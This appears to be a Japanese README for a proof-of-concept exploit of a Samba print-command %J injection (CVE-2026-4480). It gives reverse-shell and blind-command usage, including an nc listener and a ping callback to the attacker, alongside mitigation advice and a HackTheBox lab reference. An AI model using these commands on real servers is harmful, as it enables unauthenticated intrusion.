
CVE-2026-4480の概念実証エクスプロイト。Sambaの印刷サブシステムにおける%Jインジェクションを介した、認証不要のリモートコマンド実行です。リバースシェルとブラインドコマンド実行モードを含み、検出および緩和のガイダンスも提供します。
%J)インジェクション PoC重要 — 最初に必ずお読みください:
このリポジトリおよびexploit.pyは教育および研究目的のみ提供されています。明示的な書面による許可がないシステム、ネットワーク、またはサービスに対してこのコードを使用しないでください。許可されていないコンピュータシステムへのアクセスは違法かつ非倫理的です。このコードを使用することにより、適用される法律および機関のポリシーに従うことに同意したものとみなします。
Samba の印刷サブシステムにおける未認証リモートコマンド実行。印刷ジョブのスプーリングが完了すると、Samba は設定された print command を system() を通じて実行し、%s(スプールファイルパス)と %J(クライアントが指定したジョブ名)を文字列内で置換します。修正前は、ジョブ名は ' → _ という単一の変換のみ行われ、それ以外の |、;、&、スペース、<、>、バッククォートはすべてシェルに到達します。したがって、%J を参照する print command はシェルインジェクションのシンクとなり、ゲストが印刷ジョブを送信できるため、この問題は事前認証です。
%J を参照する外部の print command を実行する印刷バックエンド(printing = sysv スタイル)。printing = cups / iprint は CUPS API 経由で処理されるため、影響を受けません。sudo apt install python3-samba
print command が %J を参照するゲストアクセス可能なプリンター共有。python3 exploit.py <rhost> <lhost> <lport> [-P PRINTER] [-c CMD]
# ターミナル1:リスナー
nc -lvnp 4444
# ターミナル2:エクスプロイトを発射
python3 exploit.py 10.129.244.177 10.10.14.100 4444
印刷サービスアカウント(例:nobody)としてシェルが得られるはずです。
python3 exploit.py 10.129.244.177 x x -c 'id > /dev/shm/o 2>&1'
実行はブラインド(コマンドはサーバー側で実行され、RPC チャネルには何も返らない)であるため、最初に帯域外で確認します。例:tcpdump -ni tun0 icmp で監視する ICMP コールバックを使用します。
python3 exploit.py 10.129.244.177 x x -c 'ping -c 3 10.10.14.100'
print command = /usr/local/bin/print-helper %s '%J'、%J を削除する、または printing = cups に移行する。smbd によるシェル(sh/bash/nc/python/curl)の生成を監視し、シェルのメタ文字を含むドキュメント名を検索する。HackTheBox 上に Abducted というボックスを作成しました。この脆弱性を紹介し、攻撃者が誤設定された環境でどのように悪用できるかを実際に体験できます。
| 引数 / オプション | 説明 |
|---|
rhost | ターゲット Samba ホスト / IP |
lhost | リスナー IP |
lport | リスナーポート |
-P, --printer | ゲストプリンター共有名(デフォルト:HP-Reception) |
-c, --cmd | リバースシェルではなく任意のコマンドを実行 |